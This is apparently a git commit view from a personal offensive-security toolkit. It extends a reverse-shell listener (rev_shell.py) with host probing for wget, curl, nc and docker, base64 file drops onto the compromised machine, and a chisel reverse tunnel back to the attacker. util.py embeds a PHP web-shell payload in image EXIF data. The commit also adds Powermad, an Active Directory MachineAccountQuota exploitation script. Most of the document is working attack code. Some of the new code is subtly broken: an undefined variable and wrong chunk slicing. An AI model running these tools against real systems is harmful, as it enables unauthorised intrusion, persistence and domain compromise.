Browse Source

Project re-structuring (python naming conventions)

Roman Hergenreder 2 years ago
parent
commit
8adc30d7ae
6 changed files with 5139 additions and 216 deletions
  1. 1 1
      __init__.py
  2. 108 9
      rev_shell.py
  3. 1 1
      subdomainFuzz.sh
  4. 9 9
      util.py
  5. 540 196
      win/PowerView.ps1
  6. 4480 0
      win/Powermad.ps1

+ 1 - 1
__init__.py

@@ -2,7 +2,7 @@ import os
 import sys
 
 __doc__ = __doc__ or ""
-__all__ = ["util","fileserver","xss_handler","genRevShell","xp_cmdshell", "dnsserver"]
+__all__ = ["util","fileserver","xss_handler","rev_shell","xp_cmdshell", "dnsserver"]
 
 inc_dir = os.path.dirname(os.path.realpath(__file__))
 sys.path.append(inc_dir)

+ 108 - 9
genRevShell.py → rev_shell.py

@@ -1,12 +1,14 @@
 #!/usr/bin/python
 
 import socket
+import os
 import sys
 import pty
 import util
 import time
 import random
 import threading
+import paramiko
 import readline
 import base64
 
@@ -17,16 +19,30 @@ class ShellListener:
         self.bind_addr = addr
         self.port = port
         self.verbose = False
-        self.on_message = None
+        self.on_message = []
         self.listen_thread = None
         self.connection = None
         self.on_connect = None
+        self.features = set()
 
     def startBackground(self):
         self.listen_thread = threading.Thread(target=self.start)
         self.listen_thread.start()
         return self.listen_thread
 
+    def has_feature(self, feature):
+        return feature.lower() in self.features
+
+    def probe_features(self):
+        features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
+        for feature in features:
+            output = self.exec_sync("whereis " + feature)
+            if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
+                self.features.add(feature.lower())
+            
+    def get_features(self):
+        return self.features
+
     def start(self):
         self.running = True
         self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
@@ -46,8 +62,8 @@ class ShellListener:
                         break
                     if self.verbose:
                         print("< ", data)
-                    if self.on_message:
-                        self.on_message(data)
+                    for callback in self.on_message:
+                        callback(data)
                         
             print("[-] Disconnected")
             self.connection = None
@@ -73,12 +89,42 @@ class ShellListener:
         data += b"\n"
         return self.send(data)
 
+    def exec_sync(self, cmd):
+        output = b""
+        complete = False
+
+        if isinstance(cmd, str):
+            cmd = cmd.encode()
+
+        def callback(data):
+            nonlocal output
+            nonlocal complete
+
+            if complete:
+                return
+
+            output += data
+            if data.endswith(b"# ") or data.endswith(b"$ "):
+                complete = True
+                if b"\n" in output:
+                    output = output[0:output.rindex(b"\n")]
+                if output.startswith(cmd + b"\n"):
+                    output = output[len(cmd)+1:]
+        
+        self.on_message.append(callback)
+        self.sendline(cmd)
+        while not complete:
+            time.sleep(0.1)
+        
+        self.on_message.remove(callback)
+        return output
+
     def print_message(self, data):
         sys.stdout.write(data.decode())
         sys.stdout.flush()
 
     def interactive(self):
-        self.on_message = lambda x: self.print_message(x)
+        self.on_message.append(lambda x: self.print_message(x))
         while self.running and self.connection is not None:
             self.sendline(input())
 
@@ -87,7 +133,36 @@ class ShellListener:
             time.sleep(0.1)
         return self.running
 
-def generatePayload(type, local_address, port, index=None):
+    def write_file(self, path, data_or_fd, permissions=None):
+
+        def write_chunk(chunk, first=False):
+            # assume this is unix
+            chunk = base64.b64encode(chunk).decode()
+            operator = ">" if first else ">>"
+            self.sendline(f"echo {chunk}|base64 -d {operator} {path}")
+
+        chunk_size = 1024
+        if hasattr(data_or_fd, "read"):
+            first = True
+            while True:
+                data = data_or_fd.read(chunk_size)
+                if not data:
+                    break
+                if isinstance(data, str):
+                    data = data.encode()
+                write_chunk(data, first)
+                first = False
+            data_or_fd.close()
+        else:
+            if isinstance(data_or_fd, str):
+                data_or_fd = data_or_fd.encode()
+            for offset in range(0, len(data_or_fd), chunk_size):
+                write_chunk(data_or_fd[offset:chunk_size], offset == 0)
+
+        if permissions:
+            self.sendline(f"chmod {permissions} {path}")
+
+def generate_payload(type, local_address, port, index=None):
 
     commands = []
 
@@ -127,7 +202,7 @@ def generatePayload(type, local_address, port, index=None):
 def spawn_listener(port):
     pty.spawn(["nc", "-lvvp", str(port)])
 
-def triggerShell(func, port):
+def trigger_shell(func, port):
     def _wait_and_exec():
         time.sleep(1.5)
         func()
@@ -135,7 +210,7 @@ def triggerShell(func, port):
     threading.Thread(target=_wait_and_exec).start()
     spawn_listener(port)
 
-def triggerShellBackground(func, port):   
+def trigger_background_shell(func, port):   
     listener = ShellListener("0.0.0.0", port)
     listener.startBackground()
     threading.Thread(target=func).start()
@@ -143,6 +218,30 @@ def triggerShellBackground(func, port):
         time.sleep(0.5)
     return listener
 
+def create_tunnel(shell, ports: list):
+    if len(ports) == 0:
+        print("[-] Need at least one port to tunnel")
+        return
+    
+    # TODO: ports
+
+    if isinstance(shell, ShellListener):
+        # TODO: if chisel has not been transmitted yet
+        # we need a exec sync function, but this requires guessing when the output ended or we need to know the shell prompt
+        ipAddress = util.get_address()
+        chiselPort = 3000
+        chisel_path = os.path.join(os.path.dirname(__file__), "chisel64")
+        shell.write_file("/tmp/chisel64", open(chisel_path, "rb"))
+        shell.sendline("chmod +x /tmp/chisel64")
+
+        t = threading.Thread(target=os.system, args=(f"{chisel_path} server --port {chisel_port} --reverse", ))
+        t.start()
+
+        shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
+    elif isinstance(shell, paramiko.SSHClient):
+        # TODO: https://github.com/paramiko/paramiko/blob/88f35a537428e430f7f26eee8026715e357b55d6/demos/forward.py#L103
+        pass
+
 if __name__ == "__main__":
 
     if len(sys.argv) < 2:
@@ -152,7 +251,7 @@ if __name__ == "__main__":
     listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
     payload_type = sys.argv[1].lower()
 
-    local_address = util.getAddress()
+    local_address = util.get_address()
 
     # choose random port
     if listen_port is None:
@@ -160,7 +259,7 @@ if __name__ == "__main__":
         while util.isPortInUse(listen_port):
             listen_port = random.randint(10000,65535)
 
-    payload = generatePayload(payload_type, local_address, listen_port)
+    payload = generate_payload(payload_type, local_address, listen_port)
 
     if payload is None:
         print("Unknown payload type: %s" % payload_type)

+ 1 - 1
subdomainFuzz.sh

@@ -32,5 +32,5 @@ echo "[+] Chars: ${charcountDomain} and ${charcountIpAddress}"
 echo "[ ] Fuzzing…"
 
 ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \
-  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt \
+  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \
   -u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}"

+ 9 - 9
util.py

@@ -16,8 +16,7 @@ def isPortInUse(port):
     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
         return s.connect_ex(('127.0.0.1', port)) == 0
 
-
-def getAddress(interface="tun0"):
+def get_address(interface="tun0"):
     if not interface in ni.interfaces():
         interfaces = ni.interfaces()
         interfaces.remove('lo')
@@ -111,7 +110,7 @@ def pad(x, n):
         x  += (n-(len(x)%n))*b"\x00"
     return x
 
-def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
+def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
 
     if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
         _in = Image.new("RGB", (50,50), (255,255,255))
@@ -120,7 +119,7 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
         _in = exif.Image(open(_in, "rb"))
     elif isinstance(_in, Image.Image):
         bytes = io.BytesIO()
-        _in.save(bytes, format='PNG')
+        _in.save(bytes, format='JPEG')
         _in = exif.Image(bytes.getvalue())
     elif not isinstance(_in, exif.Image):
         print("Invalid input. Either give an Image or a path to an image.")
@@ -145,8 +144,7 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
         _in[exif_tag] = payload
 
     if _out is None:
-        sys.stdout.write(_in.get_file())
-        sys.stdout.flush()
+        return _in.get_file()
     elif isinstance(_out, str):
         with open(_out, "wb") as f:
             f.write(_in.get_file())
@@ -165,9 +163,9 @@ if __name__ == "__main__":
     command = sys.argv[1]
     if command == "getAddress":
         if len(sys.argv) >= 3:
-            print(getAddress(sys.argv[2]))
+            print(get_address(sys.argv[2]))
         else:
-            print(getAddress())
+            print(get_address())
     elif command == "pad":
         if len(sys.argv) >= 3:
             n = 8
@@ -192,7 +190,9 @@ if __name__ == "__main__":
             else:
                 _out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
 
-            exifImage(payload, _in, _out, tag)
+            output = set_exif_data(payload, _in, _out, tag)
+            sys.stdout.buffer.write(output)
+            sys.stdout.flush()
     elif command == "help":
         print("Usage: %s [command]" % bin)
         print("Available commands:")

File diff suppressed because it is too large
+ 540 - 196
win/PowerView.ps1


+ 4480 - 0
win/Powermad.ps1

@@ -0,0 +1,4480 @@
+<#
+Powermad - PowerShell MachineAccountQuota and DNS exploit tools
+Author: Kevin Robertson (@kevin_robertson)  
+License: BSD 3-Clause 
+https://github.com/Kevin-Robertson/Powermad
+#>
+
+#region begin MachineAccountQuota Functions
+
+function Disable-MachineAccount
+{
+    <#
+    .SYNOPSIS
+    This function disables a machine account that was added through New-MachineAccount. This function should be
+    used with the same user that created the machine account.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users
+    can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
+    just left in a disabled state. This function provides that ability by setting the AccountDisabled to true.
+    Ideally, the account is removed after elevating privilege.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to disable the machine account.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the computers OU.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER MachineAccount
+    The username of the machine account that will be disabled.
+
+    .EXAMPLE
+    Disable a machine account named test.
+    Disable-MachineAccount -MachineAccount test
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$MachineAccount,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if($MachineAccount.EndsWith('$'))
+    {
+        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+    }
+    else
+    {
+        $machine_account = $MachineAccount  
+    }
+
+    if(!$DistinguishedName)
+    {
+        $distinguished_name = "CN=$machine_account,CN=Computers"
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    if(!$directory_entry.InvokeGet("AccountDisabled"))
+    {
+
+        try 
+        {
+            $directory_entry.InvokeSet("AccountDisabled","True")
+            $directory_entry.SetInfo()
+            Write-Output "[+] Machine account $MachineAccount disabled"
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+        }
+
+    }
+    else
+    {
+        Write-Output "[-] Machine account $MachineAccount is already disabled"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+    
+}
+
+function Enable-MachineAccount
+{
+    <#
+    .SYNOPSIS
+    This function enables a machine account that was disabled through Disable-MachineAccount. This function should
+    be used with the same user that created the machine account.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function sets a machine account's AccountDisabled attribute to false.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to disable the machine account.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the computers OU.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER MachineAccount
+    The username of the machine account that will be enabled.
+
+    .EXAMPLE
+    Enable a machine account named test.
+    Enable-MachineAccount -MachineAccount test
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$MachineAccount,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if($MachineAccount.EndsWith('$'))
+    {
+        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+    }
+    else
+    {
+        $machine_account = $MachineAccount  
+    }
+
+    if(!$DistinguishedName)
+    {
+        $distinguished_name = "CN=$machine_account,CN=Computers"
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    if($directory_entry.InvokeGet("AccountDisabled"))
+    {
+
+        try 
+        {
+            $directory_entry.InvokeSet("AccountDisabled","False")
+            $directory_entry.SetInfo()
+            Write-Output "[+] Machine account $MachineAccount enabled"
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+        }
+
+    }
+    else
+    {
+        Write-Output "[-] Machine account $MachineAccount is already enabled"   
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+    
+}
+
+function Get-MachineAccountAttribute
+{
+    <#
+    .SYNOPSIS
+    This function can return values populated in machine account attributes.
+
+    .DESCRIPTION
+    This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute.
+    
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+
+    .PARAMETER Credential
+    PSCredential object that will be used to read the attribute.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the computers OU.
+
+    .PARAMETER Domain
+    The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter
+    requires a DNS domain name and not a NetBIOS version.
+
+    .PARAMETER DomainController
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER MachineAccount
+    The username of the machine account that will be modified.
+
+    .PARAMETER Attribute
+    The machine account attribute.
+
+    .EXAMPLE
+    Get the value of the description attribute from a machine account named test.
+    Get-MachineAccountAttribute -MachineAccount test -Attribute description
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$MachineAccount,
+        [parameter(Mandatory=$true)][String]$Attribute,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if($MachineAccount.EndsWith('$'))
+    {
+        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+    }
+    else
+    {
+        $machine_account = $MachineAccount
+    }
+
+    if(!$DistinguishedName)
+    {
+        $distinguished_name = "CN=$machine_account,CN=Computers"
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $output = $directory_entry.InvokeGet($Attribute)
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+    return $output
+}
+
+function Get-MachineAccountCreator
+{
+    <#
+    .SYNOPSIS
+    This function leverages the ms-DS-CreatorSID property on machine accounts to return a list
+    of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only
+    populated when a machine account is created by an unprivileged user. Note that SIDs will be returned
+    over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier.
+
+    .DESCRIPTION
+    This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before
+    using New-MachineAccount.
+    
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+
+    .PARAMETER Credential
+    PSCredential object that will be used enumerate machine account creators.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the computers OU.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .EXAMPLE
+    Get the ms-DS-CreatorSID values for a domain.
+    Get-MachineAccountCreator
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$DistinguishedName)
+    {
+        $distinguished_name = "CN=Computers"
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    try
+    {
+
+        if($Credential)
+        {
+            $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+        }
+        else
+        {
+            $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+        }
+        
+        $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher 
+        $machine_account_searcher.SearchRoot = $directory_entry  
+        $machine_account_searcher.PageSize = 1000
+        $machine_account_searcher.Filter = '(&(ms-ds-creatorsid=*))'
+        $machine_account_searcher.SearchScope = 'Subtree'
+        $machine_accounts = $machine_account_searcher.FindAll()
+        $creator_object_list = @()
+            
+        ForEach($account in $machine_accounts)
+        {
+            $creator_SID_object = $account.properties."ms-ds-creatorsid"
+
+            if($creator_SID_object)
+            {
+                $creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value
+                $creator_object = New-Object PSObject
+
+                try
+                {
+
+                    if($Credential)
+                    {
+                        $creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$creator_SID>",$Credential.UserName,$credential.GetNetworkCredential().Password)
+                        $creator_account_array = $($creator_account.distinguishedName).Split(",")
+                        $creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3)    
+                    }
+                    else
+                    {
+                        $creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value                        
+                    }
+
+                    Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username
+                }
+                catch
+                {
+                    Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID
+                }
+                
+                Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.name[0]
+                $creator_object_list += $creator_object
+                $creator_SID_object = $null
+            }
+
+        }
+
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+        throw
+    }
+
+    Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+function Invoke-AgentSmith
+{
+    <#
+    .SYNOPSIS
+    This function leverages New-MachineAccount to recursively create as as many machine accounts as possible
+    from a single unprivileged account through MachineAccountQuota. With a default MachineAccountQuota of 10,
+    the most common result will be 110 accounts. This is due to the transitive quota of Q + Q * 1 where Q
+    equals the MachineAccountQuota setting. The transitive quota can often be exceeded to the total number of
+    created accounts can vary. I wouldn't recommend running this one on a client network unless you have a
+    good reason.
+
+    .DESCRIPTION
+    This function leverages New-MachineAccount to recursively create as as many machine accounts as possible
+    from a single unprivileged account through MachineAccountQuota.
+    
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+
+    .PARAMETER Credential
+    PSCredential object that will be used enumerate machine account creators.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the computers OU.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Domain
+    The targeted domain in netBIOS format. This will be used to create the PSCredential object as the function cycles
+    through the machine accounts.
+
+    .PARAMETER MachineAccountPrefix
+    The prefix for the machine account names. The prefix will be incremented by one for each account creation attempt.
+
+    .PARAMETER MachineAccountQuota
+    The domain's MachineAccountQuota setting.
+    
+    .PARAMETER NoWarning
+    Switch to remove the warning prompt.
+
+    .PARAMETER Password
+    The securestring of the password for the machine accounts.
+
+    .PARAMETER Sleep
+    The delay in milliseconds between account creation attempts.
+
+    .EXAMPLE
+    Invoke-AgentSmith -MachineAccountPrefix test
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    ( 
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][String]$NetBIOSDomain,
+        [parameter(Mandatory=$false)][String]$MachineAccountPrefix = "AgentSmith",
+        [parameter(Mandatory=$false)][Int]$MachineAccountQuota = 10,
+        [parameter(Mandatory=$false)][Int]$Sleep = 0,
+        [parameter(Mandatory=$false)][System.Security.SecureString]$Password,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(Mandatory=$false)][Switch]$NoWarning,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    $i = 0
+    $j = 1
+    $k = 1
+    $MachineAccountQuota--
+
+    if(!$NoWarning)
+    {
+        $confirm_invoke = Read-Host -Prompt "Are you sure you want to do this? (Y/N)"
+    }
+
+    if(!$Password)
+    {
+        $password = Read-Host -Prompt "Enter a password for the new machine accounts" -AsSecureString
+    }
+
+    if(!$NetBIOSDomain)
+    {
+
+        try
+        {
+            $NetBIOSDomain = (Get-ChildItem -path env:userdomain).Value
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if($confirm_invoke -eq 'Y' -or $NoWarning)
+    {
+
+        :main_loop while($i -le $MachineAccountQuota)
+        {
+            $MachineAccount = $MachineAccountPrefix + $j
+            
+            try
+            {
+                $output = New-MachineAccount -MachineAccount $MachineAccount -Credential $Credential -Password $Password -Domain $Domain -DomainController $DomainController -DistinguishedName $DistinguishedName
+
+                if($output -like "*The server cannot handle directory requests*")
+                {
+                    Write-Output "[-] Limit reached with $account"
+                    $switch_account = $true
+                    $j--
+                }
+                else
+                {   
+                    Write-Output $output  
+                    $success = $j
+                }
+
+            }
+            catch
+            {
+
+                if($_.Exception.Message -like "*The supplied credential is invalid*")
+                {
+                    
+                    if($j -gt $success)
+                    {
+                        Write-Output "[-] Machine account $account was not added"
+                        Write-Output "[-] No remaining machine accounts to try"
+                        Write-Output "[+] Total machine accounts added = $($j - 1)"         
+                        break main_loop
+                    }
+
+                    $switch_account = $true
+                    $j--
+                }
+                else
+                {
+                    Write-Output "[-] $($_.Exception.Message)"    
+                }
+
+            }
+
+            if($i -eq 0)
+            {
+                $account =  "$NetBIOSDomain\$MachineAccountPrefix" + $k + "$"
+            }
+
+            if($i -eq $MachineAccountQuota -or $switch_account)
+            {
+                Write-Output "[*] Trying machine account $account"
+                $credential = New-Object System.Management.Automation.PSCredential ($account, $password)
+                $i = 0
+                $k++
+                $switch_account = $false
+            }
+            else
+            {
+                $i++
+            }
+
+            $j++
+
+            Start-Sleep -Milliseconds $Sleep
+        }
+
+    }
+    else
+    {
+        Write-Output "[-] Function exited without adding machine accounts"
+    }
+
+}
+
+function New-MachineAccount
+{
+    <#
+    .SYNOPSIS
+    This function adds a machine account with a specified password to Active Directory through an encrypted LDAP
+    add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota).
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which
+    allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added
+    directly through an LDAP connection to a domain controller and not by attaching the host system to Active
+    Directory. This function does not modify the domain attachment and machine account associated with the host
+    system.
+
+    Note that you will not be able to remove the account without elevating privilege. You can however disable the
+    account as long as you maintain access to the account used to create the machine account.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to create the machine account.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the computers OU.
+
+    .PARAMETER MachineAccount
+    The machine account that will be added.
+
+    .PARAMETER Password
+    The securestring of the password for the machine account.
+
+    .EXAMPLE
+    Add a machine account named test.
